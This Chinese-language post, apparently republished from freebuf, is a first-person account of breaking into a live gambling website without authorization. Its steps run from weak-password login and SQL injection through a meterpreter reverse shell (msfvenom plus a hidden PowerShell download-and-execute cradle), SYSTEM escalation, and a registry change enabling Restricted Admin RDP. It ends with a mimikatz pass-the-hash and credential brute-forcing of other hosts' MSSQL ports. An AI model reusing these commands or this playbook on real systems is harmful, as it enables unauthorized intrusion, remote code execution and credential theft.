闲着无聊,网上找了一个菠菜进行简单测试,并做记录,大佬们轻喷。
访问网站就是一个登录页面,试试简单的弱口令,直接进入后台。
翻看了很多功能点,在一处功能点发现上传接口,并尝试上传文件,发现无法上传,加了白名单。直接选择放弃,继续寻找。在某一个url参数上加上单引号,直接报错,SQL注入这不就来了么。
说干就干,直接SQLMAP神器。
发现为MSSQL,且DBA权限,直接--os-shell
msf生成powershell脚本,并放置在网站目录下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1
直接powershell上线session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"
如果想要通过url拼接堆叠执行powershell会存在一个问题,就是单引号闭合问题。我们可以通过对powershell进行编码一下,这样就可以绕过单引号的问题。下面推荐一个不错的网站
https://r0yanx.com/tools/java_exec_encode/
直接getsystem获取system权限。这里推荐土豆家族提权,实战中成功率很高。
迁移一下进程,防止进程掉线。
因为是system权限,且为2012系统,大于2008版本都是无法抓到明文密码,直接修改adminnistrator密码。(实战中不推荐直接修改管理员密码)
因为无法获取明文密码,直接修改管理员密码稍有些不妥。尝试通过获取管理员NTLM远程登录机器。(并非同一台,这只是提供一个思路)
如果使用hash远程登录RDP,需要开启"Restricted Admin Mode"
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin mode
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //
查看是否已开启0x0则表示开启
sekurlsa::pth /user:administrator /domain:x.x.x.x /ntlm:4c814fa57488c76caa5ceb6e3eb0272e "/run:mstsc.exe /restrictedadmin"
成功远程管理员桌面
前期发现1433端口开放着,寻找数据库配置文件,登录数据库。
通过fofa找了一下,资产还是挺多的,切很多都开放1433端口,猜测会存在同一个人部署的网站,尝试用获取的密码对这些资产的1433端口进行爆破,成功撞到几台数据库,切都是sa权限。
文章来源:“freebuf”
扫码回复“进群”加入交流群